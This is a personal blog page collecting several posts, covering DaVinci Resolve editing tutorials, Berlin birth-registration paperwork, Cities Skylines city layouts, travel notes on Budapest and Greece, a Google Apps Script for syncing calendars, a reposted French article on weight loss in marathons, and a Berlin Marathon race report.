Romain Pellerin's Blog

Tuto Davinci Resolve: Dynamic Short on Indoor Cycling

2026-03-02T23:20:00+01:00

Vertical format

Tick "Use vertical resolution". Prefer 4K instead of 1080p.

Color management

Based on your source material but also the destination platform (Youtube, Instagram), you may want to export in SDR (Rec.709), as HDR is not always supported.

Glitch effect

Full tutorial there. The sound used is findable on this site.

Glitch video with composite mode: Substract

Adjustment clip with Flicker effect

Adjustment clip with Camera Shake effect

Adjustment clip with Camera Shake effect (2)

Adjustment clip with JPEG Damage effect

Transition between the two clips

Glowing white light in place of a person

Freeze a frame

Step 1: isolating the person

Switch to the Color Page.
Add a new Serial Node (Alt + S on Windows or Option + S on Mac) or use the default one

Now, on the paid version of Davinci Resolve:

Open the Magic Mask palette (the icon looks like a person with a mask).
Draw a quick stroke over the person you want to replace.
Click the Track Forward and Reverse button (play icon with arrows on both sides) to let Resolve track the person throughout the clip.

On the free version: use the Power Window tool (the pen tool icon) to manually draw and track a mask around the person frame-by-frame.

Power Window

Edit the settings under "Softness" if need be.

Step 2: turning the person pure white

With the Magic Mask or Power Window node selected, go to the primaries color wheels. Crank the gain wheel all the way up to brighten the highlights.

Gain wheel

Next, open the Curves palette. Grab the bottom-left point of the main curve (the shadows) and drag it all the way to the top-left corner. This forces the darkest parts of the image to become pure white.

Shadows up

Step 3: adding the glow effect

Add another Serial Node after the white cutout node. Open the effects library (top right corner). Search for Glow (under Resolve FX Light) and drag it onto this new node.

Glow effect

Go to the settings panel for the glow effect and adjust the following to your liking:

Shine Threshold: Lower this to ensure the entire white shape emits light.
Spread / Glow Size: Increase this to make the light bleed out over the background.
Glow Color: It should default to white, but you can tint it slightly blue or yellow here if you want the light to have a specific temperature.
Composite Type: Ensure it's set to "Add" or "Screen" to make the glow blend naturally over the background.

That's it!

How to give birth in Pankow (Berlin) as foreigners

2026-02-25T16:30:00+01:00

We recently welcomed our first child 😊. Born in Germany! If someone had told me 10 years ago, I would not have believed it.

Anyways, just like for all things, why make things simple when Germans can make them complicated? The process to "register" a newborn and get their birth certificate and then later an ID card is not the simplest. Here is a short summary that hopefully will help other parents in the future. This article is specifically about Pankow in Berlin. Each district handles things slightly differently.

Things not covered in this article:

The fact that you'll need an "assigned" midwife from early in the pregnancy until a few months after the birth. You'll see her (him?) on a regular basis throughout pregnancy, and every day just after birth.
Prenatal classes for both parents
Gynecological follow-up during pregnancy and all of the medical exams
Elternzeit (parental leave)
The medical exams after the birth (U examinations)

This article mostly focuses on the fun part: paperwork. 😆 If you're looking for a complete TODO list of everything that needs to be done when expecting a child and afterwards, open this PDF.

German part

Before the birth

Vaterschaftsanerkennung

If you're not a married couple, you'll need a Vaterschaftsanerkennung (acknowledgment of paternity) + Sorgerechtserklärung (declaration of custody). Get both months ahead, you do not want to deal with it after the birth, you'll have enough to deal with. It will take an appointment in person, with both parents. It requires a great level in German, or an accompanying German friend who can translate. For both documents, you can go to:

your local Jugendamt (youth welfare office) – free. This is my recommendation. You can book the appointment by calling.
the Standesamt (registry office) – usually a fee of around €30-40 - only the acknowledgment of paternity takes place, not a declaration of custody
a district court – free
a notary – usually free for the Vaterschaftsanerkennung

You need to bring the Mutterpass, your IDs of course and recent birth certificates translated in German.

More info in English.

Deciding on a hospital

In Germany, it's is highly recommended to "book" a hospital. Some hospitals offer "group tours"/visits once a week, every week, sometimes in English. Then, usuallly after 28 weeks of pregnancy, you need to call a hospital and let them know about your intention of giving birth there. You will then usually go in person and meet the midwifes. The (non) availability of a neonatal unit and/or a familiy room could also be a deciding factor. Also the English skills of the midwifes is something to take into account.

After the birth

Registering the birth

This is the first thing to do. Ideally, within the first week after birth.

You'll need to register your newborn in order to obtain a Geburtsurkunde (birth certificate) from your Standesamt. This will "unlock" many following steps. Some hospitals will send documents on your behalf to the Standesamt, specifically:

A form in which the parents fill out information about themselves and their newborn, and where you also pick a last name
Vaterschaftsanerkennung

After leaving the hospital, you need to send an email to the Standesamt with your own birth certificates (both parents) and a copy of your ID cards (Personalausweise). Ask them in the same email if any other document is missing. In my experience, we only sent them our birth certificates per email and they replied two days later asking for our ID cards. We received 3 copies of the Geburtsurkunde 4 days later.

Getting your newborn a health insurance card

Through a public insurance, you can get free insurance for your kid by applying for a family insurance. Just reach out to your insurance and tell them about your newborn, they'll walk you through the process (it's surprisingly as easy as filling out ONE form!).

Elterngeld

Supposedly it can now be done 100% online but only if you have a BundID, which as a Frenchman I cannot have unfortunately because the French national ID card system is not yet fully connected to the German one. So in our case, we will have to print out a PDF, fill it out and send it by mail.

Official website

Bear in mind, this must be done within the first 3 months following the birth.

Kindergeld

I have not done this part yet. I will update the article later accordingly.

Bear in mind, this must be done within the first 6 months following the birth.

German ID card

Yet to be done... I will update the article later accordingly.

French part

After the birth: Déclaration de naissance

To get a French birth certificate, you have two options:

Quick option: you have 2 weeks after the birth to send the following documents to the ambassy and arrange an appointment:
- Parents' birth certificates that are less than 3 months old, copie intégrale (original document printed out and stamped by the city hall of your birth place), in French
- National ID cards
- Proof of address document
- Any document from the hospital with a stamp that "proves that the birth took place"
- Vaterschaftsanerkennung
Slow option (Transcription du certificat de naissance allemand): wait for the german Geburtsurkunde. Then you can send all the documents by mail, no need to go in person.

Later, to get your newborn a French ID card, you'll need another appointment and similar documents, alongside their French birth certificate and a photo.

Hope this helps!

Cities Skylines on Nintendo Switch 101

2025-12-28T19:00:00+01:00

It's Christmas time! Meaning I get to play with my Nintendo Switch!

I'm a big fan of Cities Skylines. In this article, I collect a few tips and tricks I learned over the last few years, after many hours spent playing this amazing game.

Road hierarchy

Although not always necessary, it's nice to have some sort of road hierary. To make cities less boring, I do not strictly follow these guidelines, only sometimes.

Source

Residential + commercial zoning

1 length = 10 tiny blocks.

Superblocks (à la Barcelona)

3x3 districts surrounded by 4 or 6 lanes (two or one way). So 30x30 tiny blocks.

A superblock as seen from above

Side view of a superblock

Savannah-inspired - Oglethorpe Grid

In real life

Also known as an Oglethorpe ward.

Google Maps

Wikipedia

A ward is made of a central park + 4 commercial blocks (the closest to the park) and 4 residential blocks (bigger than commercial, 2 are north, 2 are south). We ignore the lanes in the middle of the residential blocks.

Around a ward are 2 arterial roads (north and south) and 2 collector roads (west and east).

Around the central park are one-way streets that go anticlockwise.

The street that is north of the park is a one-way street that goes west, the one that is south of the park is also one-way, to the east.

Optionnaly, the two streets on either side of the park can be made one-way (towards the park).

In City Skylines

We place in the middle the regular "park with trees". We surround it by a 2-lane one-way street, going anticlockwise. The neighboring streets may optionnally be turned into one-way streets:

The one above goes west
The one underneath goes east
The two streets on either side of the park go towards the park

The whole ward is surrounded by 6 or 4-lane roads (ideally 6-lane roads north and south, 4-lane roads west and east).

How to build a Savannah ward

Multiple wards as seen from above - mostly surrounded by 6-lane roads

Multiple wards as seen from the side

A city made of Savannah wards

Zoning in a Savannah ward

XL version

The central park is slightly bigger than the regular park. It's a 2x2 block. You can add a small park in there, plus a couple of pedestrian paths.

The original lanes in the middle of the residential blocks have been added back, as 2-lane roads (both ways).

An XL version, with the additional lanes in the middle of the residential blocks

Combining Superblocks and Savannah wards

Not recommended. It makes massive blocks. But at least I've tried.

A combined block

Industrial zoning

Source

Maxed-out 1-square city

Population: varying between 30,000 and 35,000, despite the massive chunk of sea, and two industrial zones (forest and agriculture). No trains, no metro. Many bus lines, a few tram lines. One "leisure" zone on the shore.

External links

Things To Do In Budapest

2025-11-18T23:40:00+01:00

I recently spent a little over 48 hours in Budapest for the first time and I really enjoyed it! Here are my recommendations for a nice weekend in the hungarian capital. It's a mix of what I did and what I wish I had done.

First day

Check out the Citadella and the Statue of Liberty (Szabadság-szobor)
Rudas baths
Go for a run on Margaret Island
Get a drink at Twentysix Budapest Restaurant

Second day

New York café
Visit the St. Stephen's Basilica
Stroll in Zrínyi u. (that's where you'll find the Christmas Market in winter time) and Október 6. u.
Then head over to the Buda side by crossing the Széchenyi Chain Bridge
Buda Castle (free)
The Church of Our Lady of Buda Castle (paid entrance)
Fisherman's Bastion and Church of Saint Mary Magdalene (combined ticket)
Head back to the Pest side
Go see the Parliament Building from the outside
Go eat/for a drink in the Gozsdu Court (Gozsdu udvar)

Third day

Heroes' Square
Check out the Lake of the City Park and the Gatehouse Tower (Kaputorony)
Spend most of the day in the Széchenyi Thermal Baths

Synchronizing Google Calendars

2025-11-18T16:30:00+01:00

At work, we use Google Calendars. I'm scheduling my workout/sports sessions in a separate, private Google Calendar. I'm also regularly on call during office hours - I'm getting assigned some days through another calendar provided by PagerDuty.

I added these 2 additional calendars to my work calendar as "external calendars", which only I can see.

But I need my colleagues to see when I'm busy because I'm going for a run over the lunch break, or when I'm on call. Hence a need to keep these 3 calendars in sync. One caveat though is that I want to keep my sports sessions "private": my coworkers do not need to know whether I'm going running, or to the gym, or whathever. They just need to know that I'm not available.

So I came up with a Google Apps Script that periodically runs (every hour) and does the following:

Create "busy" events in my work calendar at the same time as my workouts.
Create a copy of my "on call" events in my work calendar, coming from the Pager Duty calendar.

Of course if I update or delete a sports session, or if my on-call schedule changes, it gets updated in my work calendar too.

Here is the script:

const CONFIG = {
    TARGET_EMAIL: "romain.pellerin@workemail",
    SYNC_DAYS: 6, // Number of days to look ahead
    TAG_PREFIX: "Source iCalUID:", // Unique identifier tag in description
    TIME_WINDOW: {
        START_HOUR: 8,
        START_MINUTE: 30,
        END_HOUR: 19,
        END_MINUTE: 0,
    },
    CALENDARS: [
        {
            id: "some-id@group.calendar.google.com", // sports
            isPrivate: true, // Will be renamed to 'Busy' and set private
            color: CalendarApp.EventColor.MAUVE
        },
        {
            id: "some-other-id@import.calendar.google.com", // pager duty
            isPrivate: false,
        },
    ],
};

// Convert limit times to minutes from start of day
const limitStartMins = CONFIG.TIME_WINDOW.START_HOUR * 60 + CONFIG.TIME_WINDOW.START_MINUTE;
const limitEndMins = CONFIG.TIME_WINDOW.END_HOUR * 60 + CONFIG.TIME_WINDOW.END_MINUTE;

// THE MAIN FUNCTION, to call periodically.
function syncGoogleCalendars() {
    const userEmail = Session.getActiveUser().getEmail();
    if (userEmail !== CONFIG.TARGET_EMAIL) {
        Logger.log(`Skipping: Current user (${userEmail}) is not the target user.`);
        return;
    }

    const now = new Date();
    const futureDate = new Date(
        now.getTime() + CONFIG.SYNC_DAYS * 24 * 60 * 60 * 1000
    );

    const targetCalendar = CalendarApp.getDefaultCalendar();

    // Creates a Map: { 'source_uid_string' : CalendarEventObject }
    const existingEventsMap = getExistingManagedEvents(
        targetCalendar,
        now,
        futureDate
    );

    CONFIG.CALENDARS.forEach((sourceCalendarConfig) => {
        syncSourceCalendar(
        sourceCalendarConfig,
        targetCalendar,
        existingEventsMap,
        now,
        futureDate
        );
    });

    // Cleanup orphans: any event remaining in the map was NOT found in the source calendars, so it should be deleted.
    cleanupOrphanedEvents(existingEventsMap);
}

/**
* Fetches events from the target calendar and maps them by their Source UID.
* Only includes events created by this script (checked via regex).
*/
function getExistingManagedEvents(calendar, start, end) {
    const events = calendar.getEvents(start, end);
    const eventMap = new Map();
    const uidRegex = new RegExp(`${CONFIG.TAG_PREFIX}\\s*([\\w.@-]+)`);

    events.forEach((event) => {
        const match = event.getDescription().match(uidRegex);

        if (match && match[1]) {
        eventMap.set(`${event.getStartTime()}-${match[1]}`, event); // Map Key: the source event UID
        }
    });

    return eventMap;
}

function syncSourceCalendar(sourceCalendarConfig, targetCalendar, existingEventsMap, start, end) {
    const sourceCalendar = CalendarApp.getCalendarById(sourceCalendarConfig.id);
    if (!sourceCalendar) {
        Logger.log(`Error: Could not find calendar ${sourceCalendarConfig.id}`);
        return;
    }

    const sourceEvents = sourceCalendar.getEvents(start, end);
    Logger.log(
        `Processing ${sourceCalendarConfig.id}: ${sourceEvents.length} events found.`
    );

    sourceEvents.forEach((sourceEvent) => {
        // Weekday Filter
        const startTime = sourceEvent.getStartTime();
        const endTime = sourceEvent.getEndTime();
        const dayOfWeek = startTime.getDay(); // 0 = Sunday, 1 = Monday, ... 6 = Saturday

        // If it is Sunday (0) or Saturday (6), skip this event.
        if (dayOfWeek === 0 || dayOfWeek === 6) {
        Logger.log(
            `Skipping event on weekend from ${
            sourceCalendarConfig.id
            }: ${sourceEvent.getTitle()} on ${startTime}`
        );
        return;
        }

        // Convert event times to minutes
        const eventStartMins = startTime.getHours() * 60 + startTime.getMinutes();
        const eventEndMins = endTime.getHours() * 60 + endTime.getMinutes();

        if (eventStartMins >= limitEndMins || eventEndMins <= limitStartMins) {
            Logger.log(
                `Skipping event outside time window (${CONFIG.TIME_WINDOW.START_HOUR}:${CONFIG.TIME_WINDOW.START_MINUTE} - ${CONFIG.TIME_WINDOW.END_HOUR}:${CONFIG.TIME_WINDOW.END_MINUTE}): "${sourceEvent.getTitle()}" (${startTime.getHours()}:${startTime.getMinutes()} - ${endTime.getHours()}:${endTime.getMinutes()})`
            );
            return;
        }

        const sourceUid = sourceEvent.getId();
        const eventKey = `${sourceEvent.getStartTime()}-${sourceUid}`;
        const existingEvent = existingEventsMap.get(eventKey);

        // Determine Title and Visibility based on privacy setting
        const targetTitle = sourceCalendarConfig.isPrivate
        ? "Busy"
        : sourceEvent.getTitle();

        if (existingEvent) {
        updateEventIfChanged(existingEvent, sourceEvent, targetTitle);
        existingEventsMap.delete(eventKey); // Remove from map to indicate this event is still valid (not an orphan)
        } else {
        createNewEvent(
            targetCalendar,
            sourceEvent,
            sourceUid,
            targetTitle,
            sourceCalendarConfig.isPrivate,
            sourceCalendarConfig.color
        );
        }
    });
}

function createNewEvent(targetCalendar, sourceEvent, sourceUid, title, isPrivate, color) {
    Logger.log(`Creating "${title}" on ${sourceEvent.getStartTime()}, color: ${color}`);

    const options = {
        description: `${CONFIG.TAG_PREFIX} ${sourceUid}\nCreated by Google Apps Script`,
        location: sourceEvent.getLocation(),
        sendInvites: false,
    };

    let newEvent;
    if (sourceEvent.isAllDayEvent()) {
        newEvent = targetCalendar.createAllDayEvent(
        title,
        sourceEvent.getStartTime(),
        options
        );
    } else {
        newEvent = targetCalendar.createEvent(
        title,
        sourceEvent.getStartTime(),
        sourceEvent.getEndTime(),
        options
        );
    }

    // Set specific privacy settings
    if (isPrivate) {
        newEvent.setVisibility(CalendarApp.Visibility.PRIVATE);
    }

    if (color) newEvent.setColor(color);
    newEvent.removeAllReminders();
}

/**
* Note: We blindly update title/time to ensure data consistency.
* To further optimize, you could check if values differ before setting.
*/
function updateEventIfChanged(targetEvent, sourceEvent, targetTitle) {
    // We update the title to ensure "Busy" is maintained if the config changed or privacy was toggled
    targetEvent.setTitle(targetTitle);

    if (sourceEvent.isAllDayEvent()) {
        // For all day events, we generally just check the day, but setAllDayDate is safe
        targetEvent.setAllDayDate(sourceEvent.getStartTime());
    } else {
        targetEvent.setTime(sourceEvent.getStartTime(), sourceEvent.getEndTime());
    }
}

/**
* Deletes any events remaining in the map.
*/
function cleanupOrphanedEvents(orphanMap) {
    if (orphanMap.size === 0) {
        Logger.log("No orphaned events to delete.");
        return;
    }

    Logger.log(`Deleting ${orphanMap.size} orphaned events...`);

    for (const [starttime_uid, event] of orphanMap) {
        try {
            Logger.log(
                `Deleting ${event.getTitle()} (Source UID: ${event.getId()}) on ${event.getStartTime()}`
            );
            event.deleteEvent();
        } catch (e) {
            Logger.log(`Failed to delete event ${event.getId()} on ${event.getStartTime()}: ${e.message}`);
        }
    }
}

And here is the result. In gray and purple are the original events from the external calendars.

Course à pied : mieux vaut finir léger

2025-10-18T12:30:00+02:00

Ci-dessous une copie d'un article paru dans "Revue Médicale Suisse" le 19 janvier 2011, au cas où l'article viendrait à ne plus être disponible en ligne (PDF). Par Sylvain Berney.

Perdre du poids pendant un marathon s’avérerait avantageux pour les performances du sportif.

Interpellés par les résultats contradictoires obtenus lors de précédentes études, des chercheurs de l’Université de Rennes se sont penchés sur la relation entre performances athlétiques et changements de masse corporelle chez 643 coureurs de marathon.1

Ayant reçu les mêmes conseils concernant la prise de liquides durant l’épreuve (environ 250 ml chaque 20 minutes), les coureurs du marathon du Mont-Saint-Michel de l’année 2009 ont été pesés avant et immédiatement après la course. Les mesures étaient effectuées par le même examinateur et sur la même balance. Confrontée aux résultats des athlètes sur la ligne d’arrivée, la mesure du poids corporel a montré une relation inversement proportionnelle : plus les coureurs avaient perdu de poids lors de la course, meilleures étaient leurs performances. A titre d’exemple, ceux terminant en moins de 3 h perdaient plus de 3% de leur poids. Les coureurs ayant pris du poids lors de la course s’avéraient être les athlètes les moins bien classés.

L’intérêt de ces résultats est qu’ils s’opposent aux conclusions d’études préalables (notamment celles réalisées en laboratoire), qui suggéraient qu’une perte de plus de 2% du poids corporel total est néfaste aux performances athlétiques. Ces résultats ont influencé les recommandations en vigueur de l’American College of Sports Medicine (ACSM), qui conseillent aux coureurs de boire selon leur sensation de soif mais aussi de manière à ne pas dépasser cette limite de 2% de pertes.2 D’autre part, un rapport récent sur le détenteur du record du monde de marathon (2 h 03 min 59 s) montre que l’athlète aurait perdu plus de 10% de son poids lors de son exploit.3 Si la théorie des 2% néfastes aux performances s’avérait correcte, une telle performance serait peu probable. D’autres études avaient déjà suggéré que les coureurs les plus rapides perdaient plus de poids.

Chaque coureur du Mont-Saint-Michel s’hydratait différemment des autres. Cette différence semble dépendre de signaux biologiques visant à optimiser la performance tout en respectant l’osmolalité sanguine.

Selon H. Zouhal, C. Groussard et coll., le risque de choc thermique par déshydratation lors d’un exercice d’endurance prolongé reste faible comparé au risque d’encéphalopathie hyponatrémique associée à une hydratation excessive.

En conclusion, chez des athlètes entraînés, une perte de poids durant la course pourrait s’avérer bénéfique simplement parce que le poids total à transporter diminue. Son effet néfaste n’est pour le moment pas démontré.

Greece

2025-10-16T23:00:00+02:00

I recently spent a little over a week in Greece. Here is what I've learned and seen and would recommend.

Facts about Greece

Water usage

Most buildings in Greece have a hot water tank located on their roof, connected to a solar water heater (like a solar panel). This is how they heat up water and store it. Some buildings also come with electrical heaters to provide hot water at any given time.

Solar panels and a water tank

Speaking of water, locals often said that tap water should not be drinked on the islands. After some googling and trying it myself, it is quite safe to drink, at least on Santorini and Sifnos. It meets EU standard. The taste may feel a little weird as it is desalinated water... but nothing to worry about. I drank plenty and I'm still alive.

Restaurants

Tipping at restaurants is not such a thing but it is usually expected of tourists, probably because of Americans bringing their tipping culture. A lot of POS terminals even offer the annoying buttons to tip 10, 15 or even 20% when paying by card.

Rounding up to the nearest euro is what Greeks do when paying in cash, from what I gathered.

It is also quite common to be served a dessert or digestive at the end of a meal, on the house (for free). It is less common in very touristic areas though.

Pipes

Historically, Greece has had quite narrow pipes connected to their sewers. Narrower than most countries in the world at least. And they clog up easily. To prevent this, Greeks do not throw toilet paper in their toilets. You'll see such signs everywhere. Instead, they throw it in a bin next to the toilet.

In most places, throwing toilet paper in the toilet is forbidden

Driving

They drive quite old cars, especially on the islands. I saw cars that I haven't seen in Germany or France for like 10 years

On top of that, it is not uncommon to see damaged cars either, with parts missing or replaced with another one with a non matching color, or rusty parts.

A car not so new anymore

Although wearing a helmet when driving a scooter is mandatory, I have seen A LOT of people without one. Sometimes both the driver and the passenger. Not just on 50cc, also 125cc. Reckless!

I saw a lot of 30 or 40 km/h speed limits on road signs on the islands... but everyone was driving faster. Also, and that is valid for Athens too: paint on the road seems too expensive (or too useless?) to be maintained. Stop markings, pedestrian crossings: barely visible. It seemed like it was last painted 20 years.

Fun fact: on the islands, people seem to trust one another at a different level than what I'm used to. So much that they often leave their helmets and scooter keys... on the scooter!! Even at night. Crazy!

Trash management

Greece is infested with trash. It was pretty OK in Athens, but definitely not on the islands.

In Athens, sorting trash and recyling is a thing, despite not being generalized everywhere. On the islands, far from it. I pretty much never saw any recycling bin on Sifnos or Santorini. Everything goes in the general waste bin. I also got to see a massive landfill on Sifnos, a bit hidden behind the hills, far from the villages. Very gross.

Trash is everywhere in Greece - at least on the islands

Also, the islands are quite dirty. Outside the cities, there was trash everywhere: by the side of the road, in the fields...

Athens

Athens is really nice to visit! History is at every corner. Not only ancient history, but also modern history: things related to the Olympic Games, for instance.

Overall, the city is quite walkable. It is also well connected with subways and trains. A subway ticket costs 1.9 euros at the time of writing. Yet expect a lot of traffic.

The city is a mix of run-down buildings, some of them completely abandonned, and new modern buildings.

Athens - The Acropolis

I only spent two days in Athens, here's what I visited:

The Acropolis of course. A ticket costs 30 euros.
Went to the Lycabettus Hill Viewing Area, where the Holy Church of Saint George of Lycabettus is
Athens National Garden
Panathenaic Stadium: a must see for anyone interested in sports. A ticket costs 12 euros.

I highly recommend walking in the evening or at night around the Acropolis or in the Plaka neighborhood. It's lively and full of good restaurants.

Islands

Sifnos

Sifnos was a delight. Not very touristic, and not many people in general. Few villages, very quiet at night. Yet, beautiful beaches and many things to discover. There are also trails for those who like hiking.

I got to do:

An hour long hike from Vathi to a nice beach called "Paralia Fikiada"
The beach "Paralia Platis Gialos" is great because of all the cafes and shops next to it. And the view, facing south, is quite nice.
Apokofto beach and the Chrisopigi Monastery
Explored Kastro and saw the Church of the Seven Martyrs
We were staying in Kamares, at a hotel called Margado. 200% recommended! The Kamares beach is AMAZING for its sunsets.
Drove all the way up to Agios Symeon to enjoy the view
Had a great dinner at Sunset in Troulaki
Explored the most northern part of the island around the monastry "Ag. Georgios". Then we enjoyed the sunset from the Cheronissos beach.

Sifnos - Church of the Seven Martyrs

Renting a car or a scooter is advisable to easily explore the island.

Santorini

Santorini was... mixed feelings. On the one hand, it's way too touristic and filled with people. Every day, cruise ships come and let out thousands of tourists who flood the streets in no time. Most of them from the US it seemed. The car traffic is insane. And everything is over priced. It is very hard to find a main course under 20 euros. On the other hand, the geological features of the island are unique and truly stunning, it's fascinating! It is the remains of what used to be a volcano. Sunsets on Santorini are second to none.

Santorini - Three Bells of Fira

Even though buses exist in Santorini, I once again recommend renting a car. The island is full of quads and ATVs that tourists rent. Very loud and pretty annoying...

ATVs and quads in Santorini

I got to do:

Swim at Mera Beach, a.k.a. the black beach
Swim at the Red Beach
Tried to "hike" to the White Beach. But actually reaching the beach on foot was hard, so we did not do it.
Explored Oia, Fira and Imerovigli on foot.
We did a 5-hour-long boat cruise from the old port of Fira, to the Volcano, then Hot Springs, then Thirasia, and back. 100% recommended. Only 35 euros. Great value for money. We had a lot of fun exploring the volcano and swimming in the hot springs. There was nothing special about Thirasia but it was still nice to visit.

All in all, Greece was fun! It seemed extremely popular among French people. I swear, 1 out of 3 tourists was French. Still, I'll happily go again. Next time on different islands. Going from island to island is fairly easy thanks to the many daily ferries.

Berlin Marathon 2025: Race Report

2025-10-11T19:45:00+02:00

Marathons rarely go as planned. Anything can happen. No matter how strong the training block was, marathons are brutal and often unpredictable. Sunday the 21st of September was no different. Nothing went according to plan. Yet it was a great race! One for the books.

Some context

329 days, 3 marathons. Dresden (October 2024), Paris (April 2025), now Berlin (September 2025). I had high expectations for Berlin, given how flat the course is.

My training block for Berlin was a rollercoaster. I wrote it all in a previous article. In short:

June 2025: I began training for Berlin mid-June, after completing my first IRONMAN 70.3 on June 1st. Shortly after, I stepped on glass and badly injured my right foot. I was not able to run for a full week.
July and August: a pain started growing in my left foot over the weeks. A pain that had been there in the background since March or April. A peroneal tendinopathy I believe. That forced me to pause and resume my training multiple times over these 2 months. At some point, after coming back to running after multiple days off, I started developing a iliotibial band syndrome on the same leg which prevented me from properly training in August.
End of August / beginning of September: I was finally healing. My 2 injuries were almost completely gone (peroneal tendinopathy + iliotibial band syndrome). But I caught COVID in the last days of August, so the first week of September was pretty shit in terms of training. I had to stay away from running for 2 or 3 days. Then I got back to it, despite feeling weak. It took 10 days in total for all COVID symptoms to vanish completely. Yet I kept on kunning, cause fuck it. After that came the tapering phase. End of the training.

I ran 90 kms in the week 1 to 7 September. The week before, I was having fever.

Back in June, my initial goal for this marathon was sub 3 hours (pace of 4'10"/km). But in July, because of all the problems I had, I changed it to a pace of 4'20"/km.

I believe this was a realistic goal, despite my training being so inconsistent. But the weather decided otherwise. Weather forecast for that Sunday: scorching temperatures peaking at 26°C under a clear blue sky. I knew I was in for everything but a treat. A heatwave over western Europe. Only for Saturday and Sunday... Shit.

Race day

Running gear

The alarm clock went off around 7:30, after an ok-ish night. I had not slept well the week before at all because of the stress building up, but that night turned out ok in terms of hours of sleep. Breakfast, pitstop at the bathroom and we were out at 8:25, on the bike, headed to the starting line.

9:10. I made my way to my corral. People become animals before races. No one cared anymore, not even women, who had no problems doing their business in front of everybody in the Tiergarden forest. I was no different and took a last piss. I could not afford to wait for a porta-potty, as the waiting lines were quite long.

Around me people were already covered in sweat. It was already pretty hot. At 9:15 the gun went off.

I could not actually get in my corral until after the official start of the race. It was too packed. A lot of runners like me had to wait behind the fences, until the crowd started moving forward to the starting line, after the race had started. I was in the group B.

After progressing forward slowly, I crossed the starting line at 9:24. The first few kms were not easy, the density of runners was high, it was pretty hard to get to pace. But I was feeling confident and at ease. However, that was not gonna last long...

At km 10, I started to realize that running at my goal pace was becoming challenging. I started feeling quite unwell from that moment on. Extremely thirsty on top of that, despite the cups of water that I had grabbed at aid stations. I normally never look at my HR in races but I decided to glance at it this time. More than 180! Under normal circumstances it should have been around 170, maybe 175, but definitely not 180+. Unbelievable. And unbearable in the long term, I knew it. Fortunately, I had a secondary goal in mind: set a personal record in the half marathon. I decided to shift gears and give up on my marathon PR at that moment. Full focus on the first half marathon. Then I would slow down and try to bring the HR down. Until then, full throttle and fuck the HR.

I crossed the half marathon mark in 1h33'08". From then on, the rest of the race was a constant fight against myself. Negative thoughts on and on again. "I could stop right there", "I already got a half marathon PR, no point in carrying on". Non stop. I started walking at aid stations, something I had never done before. I would drink 2, often 3 full cups of water, and poor another 2 on my head and body. At every damn aid station. People started walking on the course as soon as km 25, much earlier than what I had seen before. My pace dropped quite significantly but I was at peace with it. Just wanted to get it over with. As fast as possible.

Ultimately, I crossed the finish line in 3h15'58", official time. 3 minutes slower than Paris, 10 minutes slower than my goal, 4 minutes slower than what my Garmin watch had predicted for that race. It is what it is. I couldn't beat the heat - and very few could!

I can't blame the weather only. My training was quite shit, due to 2 injuries and catching COVID in the last 3 weeks. Yet I am very proud of my time and the pace I could hold. I'm also happy I did not give up.

I'm glad I had zero gastrointestinal disturbances. However, I had quite a few stomach cramps, maybe 4 or 5 throughout the race. They felt like side stitches, but I know they were not linked to my breathing, rather originating from below. I think I had the first one around km 2. Every time they lasted about 1 or 2 km and then would vanish. My trick to help them go away was to contract my abs as much as possible. That worked most of the time.

The crowds were amazing! My girlfriend and friends cheering on were a massive help! Running at home felt truly different, I loved it.

Crossing the finish line - with some data from Strava

Berlin, I will come back. Stronger! 💪

Some after thoughts

I enjoyed this weekend so much. It felt like the whole city was dedicated to running. There were events everywhere in the city, especially on Saturday. Posters and massive ads painted on buildings were everywhere.

A building in Berlin - Kurfürstendamm

As early in the week as Thursday, one could witness the "major marathon" effect: loads of people were traveling from everywhere in the world and flocking to Berlin. On that day I decided to dye my hair blond just for the race 😆.

Saturday was insane. Many clubs and influencers organized community runs on that day. The famous street "Unter den Linden" was already clossed off to cars and filled with runners. I joined a community run organized by Dorian Louvet in Tiergarten, with around 100 other people.

Dorian Louvet on the right handside

As to my own performance, of course the hot weather played a major role. But with hindsight, what I really missed were those 28-km-long training runs with 5x4000m at marathon pace, in the last 6 weeks before the race, that I did when I was training for Paris earlier this year. They had helped me build my mental strength but also they had prepared my muscles for such a long effort. I'll do better next time hopefully 🤞.

My Ultimate Video Edition Tutorial

2025-08-14T14:20:00+02:00

Camera setup

30 fps (or 60 fps for slow-mo). Cause it's the most widely available format, and my Pixel phone still does not support 25fps.
HEVC/H265
SDR (Rec709). Why not HDR? Support for HDR is still very limited. Most external monitors still do not render HDR properly, same for social media (Strava, Instagram)
4K (Ultra HD)

Story telling

Software

Davinci Resolve.

Settings

Master settings

29.97 or 30 fps, depending on what your device produced. Pixel phones actually produce 29.97fps.
4K (3840x2160). You can tick "Use vertical resolution" when producing for social media.

Master settings

Color management

"DaVinci YRGB Color Managed" with "Automatic color management" ticked is the easiest and best choice, unless you know what you're doing. Also, go with SDR and Rec.709, as HDR is not yet widely supported.

Color management

How to sync clips on music beats

I like to sync the audio track with the video, so I try my best to change scenes on the beat.

For transitions, I recommend that the new clip starts 1 or 2 frames before the next music beat, because of the persistence of vision. I read on Reddit that the human eye takes 1/10th of a second to process images, while sound is near instant. 1/10th of a second, with 30FPS, would mean 3 frames. 1 or 2 frames is usually enough though, in my experience.

Here the transition happens 1 frame before the next music beat

To determine how long a clip should last, based on the music, I use this website: Tap BPM - Online Beats Per Minute Calculator and Counter. Once I know the "speed" of a song (how many beats per minute), I use the calculator below to determine clip lengths.

Beats calculator

Titles

I like to use the font "PlayFair Display" with a glowing effect, in two colors mostly: beige (#FFEBAF) and red (#FF2600).

Titles in Davinci

Glow settings

Color grading

Output

FPS: keep the same setting as defined in the project settings
HEVC/H265: for size reasons
MP4 as a container
SDR (Rec709)
4K (Ultra HD)
10MBps for storing on external hard disk drives, 50MBps for the file to upload to Youtube or social media.

Example of a recent project of mine

Season Update et Nouvelle Blessure

2025-08-05T18:00:00+02:00

Les 7 derniers mois

Ce début d'année était plutôt chargé, trop peut-être même. Voici les événements auxquels j'ai participé ainsi que mes temps.

Marathon de Paris (13 Avril) : 3h12'42". Mon record à date, malgré un parcours un peu vallonné.
Berliner Firmenlauf (21 Mai) : 5.5 km courus en 20 minutes et 21 secondes (officiel), 5.32 km en 20'33" soit 3'52"/km (Strava). Encore un record.
IRONMAN 70.3 de Tours, France (1 Juin) : 5h00'58" sur un parcous très roulant. Premier 70.3 ever, donc un record of course.
L'Étape du Tour de France (20 Juillet) : 131 km de vélo, 4500 mètres de dénivelé positif, temps de 7h09'47".

Nouvelle blessure

